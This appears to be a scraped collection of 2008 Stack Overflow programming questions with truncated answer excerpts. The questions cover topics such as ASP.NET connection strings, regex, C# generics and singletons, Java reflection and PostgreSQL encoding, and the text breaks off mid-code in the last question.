[ "https://Stackoverflow.com/questions/380639", "https://Stackoverflow.com", "https://Stackoverflow.com/users/44649/" ]
380,658
<p>I have created an asp.net website that connects to a SQL server database. Currently on my development machine I have the connection set to a SQL server express database with the file residing in the App_Data file of the website.</p> <p>I now need to upload the site to my host of which I have an SQL server database set up. They have provided me with the name of the SQL server database - <strong>mssql.mydomain.com</strong> - but I'm not sure how to set up the connection string in the web.config file to point to this.</p> <p>Any help would be much appreciated. - Thanks in advance.</p>
[ { "answer_id": 380661, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 2, "selected": false, "text": "Server=mssql.mydomain.com;uid=user_id_goes_here;pwd=password_goes_here\n" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/380658", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,660
<p>Stuggling a little bit with the RegEx, I've got 4 codes in a string</p> <p>CODE4:CODE3:CODE2:CODE1</p> <p>each code is optional apart from CODE1</p> <p>So I could have ab:bc:de:fg</p> <p>or</p> <p>bc::fg</p> <p>of </p> <p>ab:::fg</p> <p>In each case of the above CODE1 = fg dnd for the dear life of me I can't work out the RegEX</p> <p>Would be easy to do as a standard string parse, but unforunatly because of buisness objects in needs to be done via regex :-( and return via a vb.net RegEX.matche,groups("Code1") fg (I hope that makes sense)</p> <p>Thanks in advance for any help</p> <p>Ended up with a bit of RegEx that does the job, bit messy but it works</p> <pre><code>(^(?&lt;code1&gt;[\w]*)$)|(^(?&lt;code2&gt;[\w]*):(?&lt;code1&gt;[\w]*)$)|(^(?&lt;code3&gt;[\w]*):(?&lt;code2&gt;[\w]*):(?&lt;code1&gt;[\w]*)$)|(^(?&lt;code4&gt;[\w]*):(?&lt;code3&gt;[\w]*):(?&lt;code2&gt;[\w]*):(?&lt;code1&gt;[\w]*)$) </code></pre> <p>Ta all</p>
[ { "answer_id": 380682, "author": "Gareth", "author_id": 31582, "author_profile": "https://Stackoverflow.com/users/31582", "pm_score": 3, "selected": true, "text": "/(\\w*:){0,3}\\w+/\n" }, { "answer_id": 380684, "author": "Avi", "author_id": 1605, "author_profile": "h...
2008/12/19
[ "https://Stackoverflow.com/questions/380660", "https://Stackoverflow.com", "https://Stackoverflow.com/users/32336/" ]
380,665
<p>I am looking at nServiceBus and came over this interface</p> <pre><code>namespace NServiceBus { public interface IMessage { } } </code></pre> <p>What is the use of an empty interface?</p>
[ { "answer_id": 380689, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 4, "selected": false, "text": "<this>" }, { "answer_id": 380696, "author": "André", "author_id": 9683, "author_profile": "https://S...
2008/12/19
[ "https://Stackoverflow.com/questions/380665", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29519/" ]
380,694
<p>anyone able to tell me how often a materialized view is set to refresh with the following setting plz?</p> <p>REFRESH FORCE ON DEMAND START WITH sysdate+0 NEXT (round(sysdate) + 1/24) + 1</p> <p>i think i read it as every hour but i'm not sure</p>
[ { "answer_id": 380711, "author": "tuinstoel", "author_id": 43901, "author_profile": "https://Stackoverflow.com/users/43901", "pm_score": 4, "selected": true, "text": "SQL> alter session set nls_date_format = 'yyyy-mm-dd :hh24:mi:ss';\n\nSession changed.\n\nSQL> select sysdate from dual;\...
2008/12/19
[ "https://Stackoverflow.com/questions/380694", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21180/" ]
380,708
<p>Closed as exact duplicate of <a href="https://stackoverflow.com/questions/145856">this question</a>.</p> <p>I have an array/list of elements. I want to convert it to a string, separated by a custom delimitator. For example:</p> <pre><code>[1,2,3,4,5] =&gt; "1,2,3,4,5" </code></pre> <p>What's the shortest/esiest way to do this in c#?</p> <p>I have always done this by cycling the list and checking if the current element is not the last one before adding the separator.</p> <pre><code>for(int i=0; i&lt;arr.Length; ++i) { str += arr[i].ToString(); if(i&lt;arr.Length) str += ","; } </code></pre> <p>Is there a LINQ function that can help me write less code?</p>
[ { "answer_id": 380712, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 8, "selected": true, "text": "String.Join(\",\", arr.Select(p=>p.ToString()).ToArray())\n" }, { "answer_id": 380715, "author": "David Schmitt", ...
2008/12/19
[ "https://Stackoverflow.com/questions/380708", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23824/" ]
380,709
<p>I am working with a generic data structure, say <code>MyGeneric&lt;Type&gt;</code>. There is a case where I have to iterate over all the values it holds </p> <p>The code I am trying to do.</p> <pre><code>for ( all the keys in myGeneric ) { // do lot of stuff here } </code></pre> <p>Now the generic can hold base type as double and string and it can hold some user-defined type also. There is a particular situation where I have to some specific work depending upon the type of the generic. </p> <p>so the final code block looks something like this</p> <pre><code>for( all the keys in myGeneric ) { if key is type foo then //do foo foo else if key is of type bar //do bar bar } </code></pre> <p>Now, as complexity sensitive as I am I do not like to have an if condition in the for loop. So the next solution I did was </p> <pre><code>if myGeneric is of type foo call fooIterator(myGeneric) if myGenric is of type bar call barItetrator(myGeneric) function FooIterator() { // ..... // foo work //...... } function BarItetrator() { // ..... // bar work //...... } </code></pre> <p>Then again when somebody sees my code then I am quite sure that they will shout where is the "refactoring".</p> <p>What is the ideal thing to do in this situation ?</p> <p>Thanks.</p>
[ { "answer_id": 380723, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": true, "text": "OfType<T> foreach(Foo foo in list.OfType<Foo>()) {\n //\n}\nforeach(Bar bar in list.OfType<Bar>()) {\n //\n}\n" } ...
2008/12/19
[ "https://Stackoverflow.com/questions/380709", "https://Stackoverflow.com", "https://Stackoverflow.com/users/41968/" ]
380,720
<p>In the following code doesn't work as </p> <pre><code>public void Foo() { CompanyDataContext db = new CompanyDataContext(); Client client = (select c from db.Clients ....).Single(); Bar(client); } public void Bar(Client client) { CompanyDataContext db = new CompanyDataContext(); db.Client.Attach(client); client.SomeValue = "foo"; db.SubmitChanges(); } </code></pre> <p>This doens't work, I get error msg. "An attempt has been made to Attach or Add an entity that is not new, perhaps having been loaded from another DataContext. This is not supported."</p> <p>How do you work with DataContexts throughout an application so you don't need to pass around a reference? </p> <p>What</p>
[ { "answer_id": 380753, "author": "AndreasN", "author_id": 24821, "author_profile": "https://Stackoverflow.com/users/24821", "pm_score": 0, "selected": false, "text": "public class ClientDataLogic\n{\n private DataContext _db = new DataContext();\n\n public Client GetClient(int id) ...
2008/12/19
[ "https://Stackoverflow.com/questions/380720", "https://Stackoverflow.com", "https://Stackoverflow.com/users/40939/" ]
380,724
<p>What is the Action Design Pattern, I haven't heard of it before? I am suspecting it is the same as the <a href="http://en.wikipedia.org/wiki/Command_pattern" rel="noreferrer">Command Design pattern</a> [wikipedia] but I can't find any resources on it.</p>
[ { "answer_id": 33538966, "author": "Mangu Singh Rajpurohit", "author_id": 2393267, "author_profile": "https://Stackoverflow.com/users/2393267", "pm_score": 1, "selected": false, "text": "public interface Action{\n public void do();\n public void undo();\n public void do(int iNoOfTimes...
2008/12/19
[ "https://Stackoverflow.com/questions/380724", "https://Stackoverflow.com", "https://Stackoverflow.com/users/42303/" ]
380,734
<p>I have nested dictionaries:</p> <pre><code>{'key0': {'attrs': {'entity': 'p', 'hash': '34nj3h43b4n3', 'id': '4130'}, u'key1': {'attrs': {'entity': 'r', 'hash': '34njasd3h43b4n3', 'id': '4130-1'}, u'key2': {'attrs': {'entity': 'c', 'hash': '34njasd3h43bdsfsd4n3', 'id': '4130-1-1'}}}, u'key3': {'attrs': {'entity': 'r', 'hash': '34njasasasd3h43b4n3', 'id': '4130-2'}, u'key4': {'attrs': {'entity': 'c', 'hash': '34njawersd3h43bdsfsd4n3', 'id': '4130-2-1'}}, u'key5': {'attrs': {'entity': 'c', 'hash': '34njawersd3h43bdsfsd4n3', 'id': '4130-2-2'}}}}, 'someohterthing': 'someothervalue', 'something': 'somevalue'} </code></pre> <p>given an <code>id</code> - one of all the <code>ids</code> like <code>4130</code> to <code>4130-2-2</code>.<br /> whats the easiest way to navigate to the correct dictionary?</p> <p>If the given <code>id</code> is <code>4130-2-1</code> then it should reach the dictionary with <code>key=key5</code>.</p> <p>No XML approaches please.</p> <p><strong>Edit(1):</strong> The nesting is between <code>1</code> to <code>4</code> levels, but I know the nesting before I parse.</p> <p><strong>Edit(2)</strong>: Fixed the code.</p> <p><strong>Edit(3)</strong>: Fixed code again for string values of <code>ids</code>. Please excuse for the confusion created. This is final I hope :)</p>
[ { "answer_id": 380769, "author": "Mapad", "author_id": 28165, "author_profile": "https://Stackoverflow.com/users/28165", "pm_score": 4, "selected": false, "text": "def traverse_tree(dictionary, id=None):\n for key, value in dictionary.items():\n if key == 'id':\n if ...
2008/12/19
[ "https://Stackoverflow.com/questions/380734", "https://Stackoverflow.com", "https://Stackoverflow.com/users/33612/" ]
380,755
<p>What do you guys think about this for a generic singleton?</p> <pre><code>using System; using System.Reflection; // Use like this /* public class Highlander : Singleton&lt;Highlander&gt; { private Highlander() { Console.WriteLine("There can be only one..."); } } */ public class Singleton&lt;T&gt; where T : class { private static T instance; private static object initLock = new object(); public static T GetInstance() { if (instance == null) { CreateInstance(); } return instance; } private static void CreateInstance() { lock (initLock) { if (instance == null) { Type t = typeof(T); // Ensure there are no public constructors... ConstructorInfo[] ctors = t.GetConstructors(); if (ctors.Length &gt; 0) { throw new InvalidOperationException(String.Format("{0} has at least one accesible ctor making it impossible to enforce singleton behaviour", t.Name)); } // Create an instance via the private constructor instance = (T)Activator.CreateInstance(t, true); } } } } </code></pre>
[ { "answer_id": 380761, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": false, "text": "T T" }, { "answer_id": 380771, "author": "AndreasN", "author_id": 24821, "author_profile": "https...
2008/12/19
[ "https://Stackoverflow.com/questions/380755", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5884/" ]
380,772
<p>I have been trying for quite a while to figure out how to encrypt Application blocks that are stored in an external file called dev_entlib.config</p> <p>I can see in entlib (4.1) that it's possible to use the default protection providers to encrypt the blocks but, I really need to deploy this Application on different servers and thus I would need to export the keyProvider used to encrypt the application blocks to those servers.</p> <p>What I've done so far is to add a custom Protected Configuration Provider to the machine.config file in the .net v2.0* whatever folder (and all the target servers)</p> <p>the custom provider is like this</p> <pre><code>&lt;add name="MyCompanyProvider" type="System.Configuration.RsaProtectedConfigurationProvider, System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" keyContainerName="MyKey" useMachineContainer="true" /&gt; </code></pre> <p>that sits nicely beside the other default providers and even has design time support in the Entlib config tool. I then choose the protection provider for each block I want to encrypt.</p> <p>Looking at the dev_entlib.config, shows that indeed the block was encrypted with my provider. My provider uses my key container. Therefore the block should be encrypted using my key container. I then Export "MyKey" to an xml file using:</p> <pre><code>c:\Windows\Microsoft.NET\Framework\v2.0.50727&gt;aspnet_regiis.exe -px "MyKey" "C:\keys.xml" -pri Exporting RSA Keys to file... Succeeded! </code></pre> <p>This key file is then copied to my sysTest server where it is imported and has access rights granted to "NT Authority\Network Services" and "ASPNET"</p> <p>I then copy over my encrypted web.config and dev_entlib.config and try to display the connection strings in a small page which uses .net ConfigurationManager to get the ConnectionStrings collection and display them on the page. This page is running under IIS and the identity of the process is "NT Authority\Network Services".</p> <p>The problem is, that it doesn't work! There are bad data errors or "failed to decrypt using provider MyCompanyProvider".</p> <p>This approach seems to make logical sense to me but it still fails.</p> <p>Does anyone have another suggestions?</p>
[ { "answer_id": 8058923, "author": "E. Sambo", "author_id": 523368, "author_profile": "https://Stackoverflow.com/users/523368", "pm_score": 2, "selected": true, "text": "Failed to encrypt the section 'connectionStrings' using provider 'RsaProtectedConfigurationProvider'. Error message fro...
2008/12/19
[ "https://Stackoverflow.com/questions/380772", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5197/" ]
380,773
<p>I have a situation in which I parse a body of text and replace certain phrases with links. I then need to re-parse the string to replace a second set of phrases with links. The problem arises at this point, where certain words or phrases in the second set can be substrings of phrases already replaced in the first pass.</p> <p><strong>Example</strong>: The string "blah blah grand canyon blah" will become "blah blah <code>&lt;a href="#"&gt;grand canyon&lt;/a&gt;</code> blah" after the first pass. The second pass might try to replace the word "canyon" with a link, so the resulting, broken, text would read: "blah blah <code>&lt;a href="#"&gt;</code>grand <code>&lt;a href="#"&gt;</code>canyon<code>&lt;/a&gt;&lt;/a&gt;</code> blah".</p> <p>So I've been trying to use preg_replace and a regular expression to prevent nested <code>&lt;a&gt;</code> tags from occurring - by only replacing text which is not already in a link. I have tried to regexes that check based on whether there are <code>&lt;/a&gt;</code> tags further on in the text but can't get these to work.</p> <p>Maybe another approach is required?</p> <p>Many thanks in advance! Dave</p>
[ { "answer_id": 380844, "author": "PEZ", "author_id": 44639, "author_profile": "https://Stackoverflow.com/users/44639", "pm_score": 1, "selected": false, "text": "$string = preg_replace('/([^>]|^)grand canyon\\b/','$1<a href=#>grand canyon</a>',$string);\n" }, { "answer_id": 38100...
2008/12/19
[ "https://Stackoverflow.com/questions/380773", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,775
<p>I have an NHibernate Dao..lets call it MyClassDao for want of a better name.</p> <p>I am writing the following code.</p> <pre><code>MyClassDao myDao = new MyClassDao(); var values = myDao.GetByCriteria(Restrictions.Eq("Status", someStatusValue)); </code></pre> <p>I am using this in a Unit Test to pull back values from the database. However, it is taking over 30 seconds to run the test which is too long in my opinion...so what I'd like to do is limit the result set being pulled back...say to about 5 values.</p> <p>in sql I would do something like the following to to achieve something like this</p> <pre><code>set rowcount 5 select * from whatever_table set rowcount 0 </code></pre> <p>Is there a way...without using the NHibernate Query language to restrict the size of a result set?</p>
[ { "answer_id": 9372244, "author": "CrazyCoderz", "author_id": 619583, "author_profile": "https://Stackoverflow.com/users/619583", "pm_score": 0, "selected": false, "text": "public IQueryable<T> SelectWithLimit<T>(int maxResults) where T : class\n {\n ICriteria criteria = Sessio...
2008/12/19
[ "https://Stackoverflow.com/questions/380775", "https://Stackoverflow.com", "https://Stackoverflow.com/users/39532/" ]
380,813
<p>Upcasting is allowed in Java, however downcasting gives a compile error. </p> <p>The compile error can be removed by adding a cast but would anyway break at the runtime. </p> <p>In this case why Java allows downcasting if it cannot be executed at the runtime?<br> Is there any practical use for this concept? </p> <pre><code>public class demo { public static void main(String a[]) { B b = (B) new A(); // compiles with the cast, // but runtime exception - java.lang.ClassCastException } } class A { public void draw() { System.out.println("1"); } public void draw1() { System.out.println("2"); } } class B extends A { public void draw() { System.out.println("3"); } public void draw2() { System.out.println("4"); } } </code></pre>
[ { "answer_id": 380828, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 9, "selected": true, "text": "Object o = getSomeObject(),\nString s = (String) o; // this is allowed because o could reference a String\n Object o ...
2008/12/19
[ "https://Stackoverflow.com/questions/380813", "https://Stackoverflow.com", "https://Stackoverflow.com/users/40933/" ]
380,817
<p>Suppose you have a file that contains IP addresses, one address in each line:</p> <pre><code>10.0.10.1 10.0.10.1 10.0.10.3 10.0.10.2 10.0.10.1 </code></pre> <p>You need a shell script that counts for each IP address how many times it appears in the file. For the previous input you need the following output:</p> <pre><code>10.0.10.1 3 10.0.10.2 1 10.0.10.3 1 </code></pre> <p>One way to do this is:</p> <pre><code>cat ip_addresses |uniq |while read ip do echo -n $ip" " grep -c $ip ip_addresses done </code></pre> <p>However it is really far from being efficient.</p> <p>How would you solve this problem more efficiently using bash?</p> <p>(One thing to add: I know it can be solved from perl or awk, I'm interested in a better solution in bash, not in those languages.)</p> <p>ADDITIONAL INFO:</p> <p>Suppose that the source file is 5GB and the machine running the algorithm has 4GB. So sort is not an efficient solution, neither is reading the file more than once.</p> <p>I liked the hashtable-like solution - anybody can provide improvements to that solution?</p> <p>ADDITIONAL INFO #2:</p> <p>Some people asked why would I bother doing it in bash when it is way easier in e.g. perl. The reason is that on the machine I had to do this perl wasn't available for me. It was a custom built linux machine without most of the tools I'm used to. And I think it was an interesting problem.</p> <p>So please, don't blame the question, just ignore it if you don't like it. :-)</p>
[ { "answer_id": 380824, "author": "Francois Wolmarans", "author_id": 47755, "author_profile": "https://Stackoverflow.com/users/47755", "pm_score": 6, "selected": false, "text": "cat ip_addresses | sort -n | uniq -c" }, { "answer_id": 380832, "author": "Joachim Sauer", "aut...
2008/12/19
[ "https://Stackoverflow.com/questions/380817", "https://Stackoverflow.com", "https://Stackoverflow.com/users/686/" ]
380,846
<p>I am using Dojo 1.2 to implement some functionality on my customer's webpage. One of the widgets I use is the <code>dijit.layout.TabContainer</code>, which inherits <code>StackContainer</code>. The <code>StackContainer</code> subscribes on keyboard events and creates a few hotkeys, like arrow left to move one tab to the left and so on.</p> <p>Now to the question: I would like to disable this hotkey feature in my <code>TabContainer</code>. Is there a configuration option I can set (can't find any in the API) to achieve this, or will have to hack the Dojo code or perhaps create my own versions of <code>StackContainer</code> and <code>TabContainer</code> in order to rid myself of the hotkeys? I would of course prefer not to mess with the Dojo code.</p> <p>Best regards / Fredrik</p>
[ { "answer_id": 561439, "author": "Heath Borders", "author_id": 9636, "author_profile": "https://Stackoverflow.com/users/9636", "pm_score": 0, "selected": false, "text": "com/stackoverflow/KeyPresslessTabContainer.js dojo.provide(\"com.stackoverflow. KeyPresslessTabContainer\");\n\ndojo.r...
2008/12/19
[ "https://Stackoverflow.com/questions/380846", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3999/" ]
380,855
<p>What is the correct syntax to create objects in javascript that will work across the majority of web browsers (by that I mean : IE 6+, Firefox 2+, Opera 9+ )</p> <p>Is this valid</p> <pre><code>var a = { "class": "Person", "name": "William Shakespeare", "birthday": -12802392000000, "nickname": "Bill" }; </code></pre> <p>Or is this:</p> <pre><code>var a = { class: "Person", name: "William Shakespeare", birthday: -12802392000000, nickname: "Bill" }; </code></pre> <p>And what is the difference between the two?</p>
[ { "answer_id": 380860, "author": "AndreasN", "author_id": 24821, "author_profile": "https://Stackoverflow.com/users/24821", "pm_score": 3, "selected": false, "text": "string : value\n \" chars \"\n" }, { "answer_id": 380868, "author": "Gareth", "author_id": 31582, "au...
2008/12/19
[ "https://Stackoverflow.com/questions/380855", "https://Stackoverflow.com", "https://Stackoverflow.com/users/32582/" ]
380,870
<p>Is there a Pythonic way to have only one instance of a program running? </p> <p>The only reasonable solution I've come up with is trying to run it as a server on some port, then second program trying to bind to same port - fails. But it's not really a great idea, maybe there's something more lightweight than this? </p> <p>(Take into consideration that program is expected to fail sometimes, i.e. segfault - so things like "lock file" won't work)</p>
[ { "answer_id": 380943, "author": "Charlie Martin", "author_id": 35092, "author_profile": "https://Stackoverflow.com/users/35092", "pm_score": 3, "selected": false, "text": "import os, os.path\npidfilePath = \"\"\"/path/to/pidfile\"\"\"\nif os.path.exists(pidfilePath):\n pidfile = open(...
2008/12/19
[ "https://Stackoverflow.com/questions/380870", "https://Stackoverflow.com", "https://Stackoverflow.com/users/37141/" ]
380,875
<p>It seems like more and more OS X apps these days are doing all kinds of fancy drawing stuff for custom controls. Apps like Twitterific, Things, EventBox, Versions just to name a few....</p> <p>So basically I'm looking for any information on how to get started doing this kind of thing. Not sure if it is just done by subclassing controls and using custom drawing or if it is something entirely different. </p> <p>Any help is greatly appreciated. THanks!</p>
[ { "answer_id": 381011, "author": "Dirk Stoop", "author_id": 24051, "author_profile": "https://Stackoverflow.com/users/24051", "pm_score": 6, "selected": true, "text": "+ (Class) cellClass\n{\n return [OurButtonCell class];\n}\n\n- (void)drawRect:(NSRect)rect \n{\n // first get the ...
2008/12/19
[ "https://Stackoverflow.com/questions/380875", "https://Stackoverflow.com", "https://Stackoverflow.com/users/47761/" ]
380,885
<p>One for the mathematicians. This has gone around the office and we want to see who can come up with a better optimised version.</p> <pre><code>(((a+p) &lt;= b) &amp;&amp; (a == 0 || a &gt; 1) &amp;&amp; (b &gt;= p)) &amp;&amp; ((b - (a + p) == 0) || (b - (a + p) &gt; 1)) </code></pre> <p><strong>Edit</strong>: all data is positive int's</p> <p><strong>Edit</strong>: Better == simpler</p>
[ { "answer_id": 380898, "author": "Brian Genisio", "author_id": 36687, "author_profile": "https://Stackoverflow.com/users/36687", "pm_score": 1, "selected": false, "text": "uint sum = a + p;\nreturn ((sum <= b) && (a != 1) && (b >= p)) && (b - sum != 1);\n" }, { "answer_id": 38091...
2008/12/19
[ "https://Stackoverflow.com/questions/380885", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17540/" ]
380,889
<p>Below is a stored procedure to check if there is a duplicate entry in the database based upon checking all the fields individually (don't ask why I should do this, it just has to be this way). </p> <p>It sounds perfectly straightforward but the SP fails. The problem is that some parameters passed into the SP may have a null value and therefore the sql should read "is null" rather than "= null". I have tried isnull(),case statements,coalesce() and dynamic sql with exec() and sp_executesql and failed to implement any of these. Here is the code...</p> <pre><code>CREATE PROCEDURE sp_myDuplicateCheck @userId int, @noteType char(1), @aCode char(3), @bCode char(3), @cCode char(3), @outDuplicateFound int OUT AS BEGIN SET @outDuplicateFound = (SELECT Top 1 id FROM codeTable WHERE userId = @userId AND noteType = @noteType AND aCode = @aCode AND bCode = @bCode AND cCode = @cCode ) -- Now set the duplicate output flag to a 1 or a 0 IF (@outDuplicateFound IS NULL) OR (@outDuplicateFound = '') OR (@outDuplicateFound = 0) SET @outDuplicateFound = 0 ELSE SET @outDuplicateFound = 1 END </code></pre>
[ { "answer_id": 380902, "author": "n8wrl", "author_id": 37710, "author_profile": "https://Stackoverflow.com/users/37710", "pm_score": 4, "selected": true, "text": "AND (aCode = @aCode OR (aCode IS NULL AND @aCode IS NULL))\n" }, { "answer_id": 380963, "author": "Eric Sabine", ...
2008/12/19
[ "https://Stackoverflow.com/questions/380889", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,911
<p>I'm parsing big XML file with XPathExpression selection for some nodes existing at various depth levels.</p> <p>What is the easiest way to export selected nodes to separate XML file, preserving all direct-ancestors nodes (and their attributes)? C# is preferred.</p> <p>Example source XML :</p> <pre><code>&lt;a&gt; &lt;x&gt; &lt;b&gt; &lt;c/&gt; &lt;z/&gt; &lt;/b&gt; &lt;c/&gt; &lt;/a&gt; &lt;c/&gt; &lt;d&gt;&lt;e/&gt;&lt;/d&gt; </code></pre> <p>Expected target XML for filtering againts "c" nodes</p> <pre><code>&lt;a&gt; &lt;b&gt; &lt;c/&gt; &lt;/b&gt; &lt;c/&gt; &lt;/a&gt; &lt;c/&gt; </code></pre> <p>EDIT: I'm using XPathExpression and XPathNodeIterator because there is additional logic for testing if given node should be inculded in result XML, XPathExpression alone is not enough. So basically I have array of matching XPathNavigator elements, which I want to save to XML with ancestor structure.</p>
[ { "answer_id": 380955, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "string xml = @\"<xml>\n <a>\n <x/>\n <b>\n <c/>\n <z/>\n </b>\n <c/>\n</a>\n<c/>\n<d><e/></d></xml>\";\n ...
2008/12/19
[ "https://Stackoverflow.com/questions/380911", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7162/" ]
380,917
<p>Our Flex app automatically resizes with the browser window, we've addressed a whole bunch of scaling issues quite easily but one that remains is tooltips. They show in the wrong location on screen, not being scaled properly based on the window size. Since tooltips are positioned automatically, how can we address this?</p> <p>To clarify I am using the built-in flex tooltips. And the problem is not that tooltips don't move as the app resizes when they are shown. It's that if I resize the app, tooltips will now all be shown in the wrong place even through everything else automatically updates correctly.</p>
[ { "answer_id": 382961, "author": "cliff.meyers", "author_id": 41754, "author_profile": "https://Stackoverflow.com/users/41754", "pm_score": 0, "selected": false, "text": "ToolTipManager currentTarget ToolTip mx.managers.ToolTipManager.as mx.managers public static function positionToolTip...
2008/12/19
[ "https://Stackoverflow.com/questions/380917", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13220/" ]
380,919
<p>Obviously I can do and <code>DateTime.Now.After</code> - <code>DateTime.Now.Before</code> but there must be something more sophisticated.</p> <p>Any tips appreciated.</p>
[ { "answer_id": 380931, "author": "tafa", "author_id": 22186, "author_profile": "https://Stackoverflow.com/users/22186", "pm_score": 6, "selected": false, "text": "System.Diagnostics.Stopwatch" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/380919", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31765/" ]
380,921
<p>I've got a question about renaming a file after it's been uploaded in Zend. I don't know where to put the Rename Filter. Here's what I've got. I've tried moving things around, but I'm lost. Currently it does upload the file to my photos folder, but it doesn't rename it. Thanks for any help!</p> <pre><code>if($this-&gt;_request-&gt;isPost()) { $formData = $this-&gt;_request-&gt;getPost(); if ($form-&gt;isValid($formData)) { $adapter = new Zend_File_Transfer_Adapter_Http(); $adapter-&gt;setDestination(WWW_ROOT . '/photos'); $photo = $adapter-&gt;getFileInfo('Photo'); $adapter-&gt;addFilter('Rename', array( $photo['Photo']['tmp_name'], WWW_ROOT . '/photos/' . $this-&gt;memberId . '.jpg', true )); if ($adapter-&gt;receive()) { echo 'renamed'; } } } </code></pre>
[ { "answer_id": 509439, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "if(isset($_FILES['file1'])){\n $ext = pathinfo($_FILES['file1']['name']);\n $_FILES['file1']['name'] = 'image_'. $userid .'....
2008/12/19
[ "https://Stackoverflow.com/questions/380921", "https://Stackoverflow.com", "https://Stackoverflow.com/users/38241/" ]
380,922
<p>As a "look under the covers" tutorial for myself I am building a PHP script to gather emails from a POP3 mailbox. While attempting to make use of binary attachments I am stuck trying to figure out what to do with the attachment information.</p> <p>Given a string that would be gathered from an email:</p> <blockquote> <p>------=_Part_16735_17392833.1229653992102 Content-Type: image/jpeg; name=trans2.jpg Content-Transfer-Encoding: base64 X-Attachment-Id: f_fow87t5j0 Content-Disposition: attachment; filename=trans2.jpg</p> <p>/9j/4AAQSkZJRgABAgEASABIAAD/4QxrRXhpZgAATU0AKgAAAAgABwESAAMAAAABAAEAAAEaAAUA AAABAAAAYgEbAAUAAAABAAAAagEoAAMAAAABAAIAAAExAAIAAAAUAAAAcgEyAAIAAAAUAAAAhodp</p> <p>(...)</p> <p>EAgEAgEAgEAgEAg8IBQRL/Lbe/tJrScHqZ2lkmE4XUP2XcSDZZ2VvZ28dtbsDIYmhkbRxAIJCAQC AQCAQf/ScyAQCAQCAQCAQCAQCAQCAQCAQCAQCAQf/9k= ------=_Part_16735_17392833.1229653992102--</p> </blockquote> <p>Is there a way to save off the data to disk so that it would be in a usable format?</p>
[ { "answer_id": 568217, "author": "Mike Boers", "author_id": 66502, "author_profile": "https://Stackoverflow.com/users/66502", "pm_score": 3, "selected": false, "text": "$fh = fopen('where_you_are_writing', 'wb');\nstream_filter_append($fh, 'convert.base64-decode');\n\n// Do a lot of writ...
2008/12/19
[ "https://Stackoverflow.com/questions/380922", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,924
<p>How can i change database encoding for a PostgreSQL database using sql or phpPgAdmin?</p>
[ { "answer_id": 380956, "author": "rombarcz", "author_id": 47267, "author_profile": "https://Stackoverflow.com/users/47267", "pm_score": 7, "selected": true, "text": "pg_dump your_database > your_database.sql DROP DATABASE your_database ALTER DATABASE your_database RENAME TO your_database...
2008/12/19
[ "https://Stackoverflow.com/questions/380924", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9789/" ]
380,944
<p>I'm looking for a method that can round a number <em>up</em> to the nearest multiple of another. This is similar Quantization.</p> <p>Eg. If I want to round 81 up to the nearest multiple of 20, it should return 100.</p> <p>Is there a method built-in method in the .NET framework I can use for this?</p> <p>The reason I'm asking for a built-in method is because there's a good chance it's been optimized already.</p>
[ { "answer_id": 380961, "author": "LeppyR64", "author_id": 16592, "author_profile": "https://Stackoverflow.com/users/16592", "pm_score": 3, "selected": false, "text": "public static int RoundUp(int num, int multiple)\n{\n if (multiple == 0)\n return 0;\n int add = multiple / Math.Abs...
2008/12/19
[ "https://Stackoverflow.com/questions/380944", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9825/" ]
380,952
<p>I have a method <code>fetchObjects(String)</code> that is expected to return an array of <code>Contract</code> business objects. The <code>className</code> parameter tells me what kind of business objects I should return (of course this doesn't make sense in this construed case because I already said I will return <code>Contract</code>s, but it's basically the situation I have in my real scenario). So I get the set of entries from somewhere and load the class of the collection's entries (the type of which is specified by <code>className</code>).</p> <p>Now I need to construct the array to return, so I use <code>Set</code>'s <code>toArray(T[])</code> method. Using reflection, I build myself an empty Contracts array. <em>But,</em> this gives me a value of static type <code>Object</code>! So next I need to cast it to the appropriate type, which in this case is <code>Contract[]</code> (see "asterisk-underlined" part in the listing below).</p> <p>My question is: Is there a way, and how, to cast to <code>Contract[]</code> as I do in the listing, <em>but determining the type of the array elements (<code>Contract</code>) only through <code>className</code></em> (or <code>entriesType</code>)? In other words, what I'd like to do is basically casting like this: <code>(entriesType[]) valueWithStaticTypeObject</code>, where entriesType be replaced by the class specified through the <code>classname</code> parameter, i.e. <code>Contract</code>.</p> <p>Is this somehow inherently impossible, or can it be done somehow? Maybe using generics?</p> <pre><code>package xx.testcode; import java.util.HashSet; import java.util.Set; class TypedArrayReflection { public static void main(String[] args) { try { Contract[] contracts = fetchObjects("Contract"); System.out.println(contracts.length); } catch (ClassNotFoundException e) {} } static Contract[] fetchObjects(String className) throws ClassNotFoundException { Class&lt;?&gt; entriesType = Class.forName("xx.testcode."+className); Set&lt;?&gt; entries = ObjectManager.getEntrySet(className); return entries.toArray( (Contract[]) java.lang.reflect.Array.newInstance( /********/ entriesType, 